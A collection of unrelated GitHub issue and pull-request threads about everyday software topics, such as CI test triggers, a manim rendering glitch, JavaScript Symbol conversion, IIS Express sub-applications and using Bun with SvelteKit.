/test e2e-aws-ovn-single-node-recert-serial
/test e2e-aws-ovn-single-node-recert-parallel

/test baremetalds-sno-recert-cluster-rename
/test e2e-aws-ovn-single-node-recert-serial
/test e2e-aws-ovn-single-node-recert-parallel

I'll add the unit test execution in Prow as well :+1:

/test e2e-aws-ovn-single-node-recert-serial

/test e2e-aws-ovn-single-node-recert-parallel baremetalds-sno-recert-cluster-rename

/lgmt
/approve

/lgtm


Text glitches

Describe the error
When displaying animations of text (in the preview) and saving animations to mp4 files (see video below at 12 seconds), the text glitches. I tried to make a gif of the same code and it does not glitch. This glitch doesn't seem to happen for shapes (Circle(), Square(), etc.), but it does happen for graphs.
Any help with this is appreciated.
Code and Error
Code: The code I used was just taken from the example scenes (TexTransformExample example).
https://user-images.githubusercontent.com/31182250/114661896-126eb600-9cf8-11eb-9b5d-75d4537703c2.mp4
Environment
OS System: Windows 10
manim version: 1.0.0 (using pip install manimgl)
python version: 3.9.1
PyOpenGL version: 3.1.5

I think the issue here is the same as in #1405. I'll close this issue and refer the reader to https://github.com/3b1b/manim/issues/1405


Symbols couldn't convert properly with String() method

The next statement should return true:
return String(Symbol("foo")) === "Symbol(foo)";

This statement is always false - the lefthand side if the equality is not a string primitive, but rather a string object - string objects are only checked by reference equality. Since the right hand side is not a string object (its a string primitive), the two are never equal. This isn't a typescript thing - this is normal JS behavior.

@weswigham in JS when you call String(obj) without new, you get a primitive string, same as using obj+''

@weswigham Typing that command into the Javascript console on Chrome (with the experimental Javascript flag on) returns true for me.

The same is true on Edge and Firefox.

Op, sorry, I was mistaken - totally though I saw new.

I believe that this either depends on your JS runtime or your polyfill, so this isn't TypeScript-specific.

@DanielRosenwasser this feature one of the required for full support of Symbols in TypeScript.
This issue also mentioned in compat-table/es6

@greybax but if you notice, it is not something that is down emittable to ES5.  All the transpilers don't (cannot) support it, because it depends on the runtime engine behaving different in ES6.

@kitsonk is correct. Babel achieves this here by bundling core.js. We could also bundle core.js to achieve some of the runtime polyfills, but we'd prefer to avoid adding a dependency if possible and let users opt in to that on their own.

ok


Provide new "Support" page around support in KEDA OSS & vendors providing KEDA with support

Provide new "Support" page that gives an overview around support to our end-users:

What support does KEDA OSS provide (basically https://github.com/kedacore/governance/blob/main/SUPPORT.md)
Provide an overview of all vendors that provide KEDA as part of their offering/product and provide support for it

The goal is to help end-users make decision on how to use KEDA that fits their needs.
The model should be very easy (similar to end-users) where partners can send a simple PR that gives information around:

Name of offering
Name of vendor
Link to more information

This should be under a new section in the navigation called "Support".

Examples of this are AKS's add-on and RedHat who will have this as well (@zroubalik can provide more details).
@kedacore/keda-maintainers Any suggests on how this page should be called?

Support is good enough to me 😄

Custom Metrics Autoscaler on OpenShift is another one https://cloud.redhat.com/blog/custom-metrics-autoscaler-on-openshift

Reopening as docs for adding are not there.


How to use my images to train a model?

I want to use this methodology on my study.
My images is already extract from video. (Every frame in the video)
But when I put my image in source photo and shape photo, I cannot get a good result.
The hair area will be vague. I guess maybe train my own model will be better?

same question regarding training , how we can train this model on our images ?

Thank you for your questions about using and potentially training the model with your own images.
Regarding image quality issues:

Ensure all input images are properly cropped. This is crucial for good results. For more details on cropping, please see: https://github.com/AIRI-Institute/HairFastGAN/issues/3
If you're experiencing blurry hair shapes, it's important to note that training your own encoders may not necessarily help, as the hair transfer process is primarily algorithmic rather than neural-based.

However, if you still want to try training:

You can train the Color encoder to improve color transfer.
You can also train the Refinement encoder to restore detail and perform inpainting.

Steps for training:

Generate a dataset using either scripts/blending_gen.py or scripts/pp_gen.py.

These scripts take arguments for dataset path, size, etc. Use --help for details.

Run the training with scripts/blending_train.py or scripts/pp_train.py.

I hope this information helps clarify the process. If you have any further questions or need additional assistance, please don't hesitate to ask.


IE11: matInput does not get focused when clicking on mat-form-field

What is the expected behavior?
The focus ist set to the matInput Field when clicking on some part of the mat-form-field which is not the  element.
What is the current behavior?
Currently there is some wierd behaviour. When clicking e.g. slightly abouve the  element on the mat-form-field, the placeholde moves and i looks like the field is focues but there is no carret... sometimes the carret appears at the correct or wrong location but I cant type anything.
What are the steps to reproduce?
With bug

Open IE11 with https://angular-material2-issue-fsayjw.stackblitz.io (https://stackblitz.com/edit/angular-material2-issue-zteuux)
Click slighly above the placeholder
=> No focus

Without bug
There is an working example using an older version of angular/angular-material
https://angular-material2-issue-fsayjw.stackblitz.io/ (https://stackblitz.com/edit/angular-material2-issue-fsayjw)
Which versions of Angular, Material, OS, TypeScript, browsers are affected?
See stackblitz

duplicate of https://github.com/angular/material2/issues/15093


Support for onFocus and onBlur event

I'm looking for a component to replace react-native-text-input-mask which doesn't work in RN 0.76. Your solution is almost perfect. Unfortunately, support for onFocus and onBlur events is missing.
Do you plan to add such an addition in the near future? If not, could you suggest how to implement it based on your code

It seems to me that it is not possible to attach handlers handling the onBlur and onFocus events to the control, similarly to the way it is possible for the native InputText with react-native.
This functionality is necessary in my case.

Sounds strange, in my test application in example I subscribe to these events and everything works fine, can you tell me what version of the library you are using and test this with the latest version of the package?
https://github.com/user-attachments/assets/f9134c4c-25d5-49fd-9a81-5487e95a8e36

Sorry. My mistake. Everything works fine.


Revert "Optimize toolchain size by preserving TensorFlow library symlinks."

Reverts apple/swift#27032.
swift test fails for tensorflow/swift-apis and this PR is a prime suspect:
/usr/bin/ld.gold: error: cannot open /swift-tensorflow-toolchain/usr/lib/swift/linux/libtensorflow.so: No such file or directory

@swift-ci Please test tensorflow

@swift-ci Please clean test tensorflow

@swift-ci Please clean test tensorflow macOS


Add cats and some base objects

Pull Request Test Coverage Report for Build 771278014

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 0.0%

Totals

Change from base Build 771183054:
0.0%

Covered Lines:
0

Relevant Lines:
0

💛  - Coveralls

Also, tests


Api cleaup

@albop I have made some changes to clean up the API in Dolang.jl
Specifically, I have done the following:

make_method no longer accepts Der{n} as the first argument. Instead all methods of that function accept a keyword argument orders that can either be an integer or list of integers specifying which order of derivatives you would like to get the Julia Expr for. This should close #10 -
I no longer filter the user-supplied arguments to retain only those that actually appear. Instead, I keep all arguments the user gave in the compiled function arguments.
I have a tentative version of building vectorized functions. Right now it only works for functions with a single argument vector, plus parameter vector (Dynare style) and only works for evaluating 0th order derivatives (levels). It simply adds a type annotation ::AbstractMatrix to the single argument containing variables and then calls the non-vectorized version of the function in a loop to populate an output matrix. It isn't hooked up with make_method or anything else, you need to call Dolang.build_vectorized_function(ff::FunctionFactory, Der{0}) to get the code.

@spencerlyon2 : thank you very much !
About issue #10, the first point implements the api evolution that we discussed, but not the need to add a dummy type when one wants to call the function.
Point number 2 makes me very happy ! I think it is much more transparent that way.
Point 3: now that you mention it, I wonder what would be lost by constructing the vectorized version in a simple closure, i.e. without metaprogramming at all.
If you agree, I'll merge as it is so that I can start to adapt the libraries that depend on it.

@albop I believe both problems reported in issue #10 have been resolved.
If you do
make_method(MyType, eqs, args, params, funname=:myfun)

And then you'd call it with `myfun(MyType(), args, params)
Or you can do
make_method(eqs, args, params, funname=:myfun)

and call it with myfun(args, params)
I think this takes care of all the issues in #10, but I might be missing something . If so, let me know and I'll rework things again

Thanks. I'll finally found the time to look and test. Merging now


[BugFix] Fix exported image cut off - Safari

[ ] Integration tests (if applicable)

Closes #

Current dependencies on/for this PR:

main

PR #1   👈

This comment was auto-generated by Graphite.


Virtual Directory / Sub application

Is there a way to run in IIS Express multiple web applications?
For example I want a web MVC app and a separate web API.  Then when I start up to debug I want them under the same port (i.e. localhost:13245), but the web API should be a virtual directory /api/.
Currently the root MVC app attempts to handle the requests and of course throws a 404 because it has no knowledge of the sub application.
Love to have some help on this one.

@sayedihashimi do you know if it's possible to launch IIS Express to run multiple apps on the same port?

No it fails.  The first app starts, the second says it can't connect.

I've come up with the standard workaround - use full blown IIS.  This of course is frustrating to work with since I have to follow the below steps every time I want to make a change;

Make sure I'm running VS in admin mode
Stop the IIS web application
publish each web application in VS
Start the IIS web application
Hit a page in the browser
Attach to the correct IIS process
Hit a page you want to test in the application
Yeah finally can debug....

I miss hitting F5 and being able to test something.

@sayedihashimi do you know if it's possible to launch IIS Express to run multiple apps on the same port?

No, you can only run one instance of iisexpress listening on a specific port.
But inside of the applicationHost.config file you can configure multiple sites/apps. I think you can look at the applicationHost.config from full IIS to see how you need to structure the elements in the applicationHost.config file used by IIS Express.

Ah good point, that might just work.

You can configure IIS Express with the applicationHost.config file, however I've yet to figure out how to get a DNX project to properly handle virtual applications below the root application.  Essentially IIS Express passes the request to the parent MVC application and it says the route doesn't exist.  So it throws a 404.
What IIS Express should do is pass the request to the correct DNX application.  For some reason it doesn't.

@Tratcher

This issue was moved to aspnet/Hosting#338


PostgreSQL: SSL support

SSL support for PostgreSQL is needed

Initial SSL support has been added.
Possible bugs/enhancements should be tracked in another issues.


Problem in the Spanish Version

Just stumbled upon this:
In the 2.3.2 Delegations section, the translated version is missing and has inadvertently been replaced by a replica of the previous paragraph.

thanks for the catch!

Thanks for catching this @ValentinaValentini, fixed with 68008ef109ce964bff42624f2260af4f4b7a21b5


Project structure seems nested.

Great work and nice graphics!
Suggestion: It's probably better to reorganize the file structure, putting frontend/backend source code on the same depth, and take bash scripts and screenshot pics out from /src for better readability 👀
@yijie-yang

I feel it's probably structured that way for a reason -- @yijie-yang perhaps you can take a quick look.


src/shell: add initial support for a LISA shell

The LISA shell provides a set of useful alias and commands for commonly
used operations. This intial implementation provides support for:

Submodules update
IPython server start/stop
Results reporting

Signed-off-by: Patrick Bellasi<EMAIL_ADDRESS>

I've tried to run few commands with the LISA shell on a newly cloned environment. Maybe one thing that could be improved is to provide an error message for simple predefined commands like lisa-report instead of python exceptions. In the case of lisa-report you could add a simple test to see if the results_latest folder exist and is not empty and print an appropriate error message if those conditions are false. What do you think?

I think that's a really good idea. The shell as it is right now is just a fast-and-furious port from the old test suite. There is just a minimum of functionalities... and it's all about extending it to add all the candy we like. If you want and have time, please go ahead and push some more patches on top ;-)

Ok, I've put a lot of minor comments.  I think this can be useful for new users.  If you don't have time to address the comments, merge it as it is and address the review later.

Here is the updated version... thanks for the review. I think this can be a useful initial stone to add new features on top.


App does not start after adding push plugin

I added push plugin to nativescript project , after I execute
tns run android
the nativescript cli says " successfully  launched on device", but the app does not launch on device, there is no feedback, neither error on the device, nor on the nativescript cli.
when I remove the plugin, the app launches fine on device.
Testing it on android 4.4 device.

Might have a solution for this.  I was having the same issue after adding the plugin.
I copied all of the relevant pieces of the AndroidManifest.xml that were specific to the plugin and placed them into the "generic" app/App_Resources/Android/AndroidManifest.xml.  Now the app will start on my emulator.
Note, you may need to clear out the "F*" directories in /platforms/android/build/intermediates/classes/ although this may not be required.
Note, I haven't actually tested the functionality of the "push" plugin yet, but at least my app is now able to start with the plugin installed.
Hopefully the devs responsible for this project will update the "push" plugin to be compatible with the 2.0 version of NS.

@bathejasumeet @frierdich
The issue is not reproducible with this sample app sample-push-plugin.

Clone the repo
Configure the code
Make sure you have the latest NS runtime 2.0 and the NS modules 2.0 installed
Run tns remove android
Run tns add android
Run tns run android as you'd normally do

The app installs and runs successfully.
The plugin should be considered for upgrade to 2.0 compatibility though, perhaps its structure may introduce problems with other plugins/modules for NS after 2.0.


Wanna use bun install, not npm

Wanna use bun install, not npm. Is it feasible

@gornostay25

@gornostay25

Rude.

@bitdom8 What are you trying to achieve?

Want to use bun i instead of npm i however the node_modules are still heavy, contrary to my assumption

@bitdom8 use pnpm dude

@oSethoum we reject the premise of this

@bitdom8 Bun now supports sveltekit with bun create in 0.8

@Antonio-Bennett great, thanks

@bitdom8 Bun now supports sveltekit with bun create in 0.8

does that mean we no longer need the adapter to run in production with bun?

@bitdom8 Bun now supports sveltekit with bun create in 0.8

does that mean we no longer need the adapter to run in production with bun?

Bun now has out of the box compatibility with svelte kit but that uses node packages, this plugin uses bun's serve instead, it should perform better I think

it's my understanding that adapters are essential to the way svelte kit builds for specific environments. so my bet is that adapters will continue being necessary.
as to the original post. I think bun is a drop-in replacement for things like npm - which doesn't mean that the blackhole of node_modules is any smaller. it just means we don't need to develop a whole new ecosystem of packages (one of the biggest issues with deno). as per using bun install -  it works. i've been using it since bun 0.5.x and it's working just fine with a caveat that bun is still not building the fornt-end. that's done via vite and esbuild under the hood. but using this adapter we can at least run built files using bun

@bitdom8, it seems like this issue can be closed now. Bun supports creating and installing a SvelteKit project, and this repo doesn't mention npm anymore.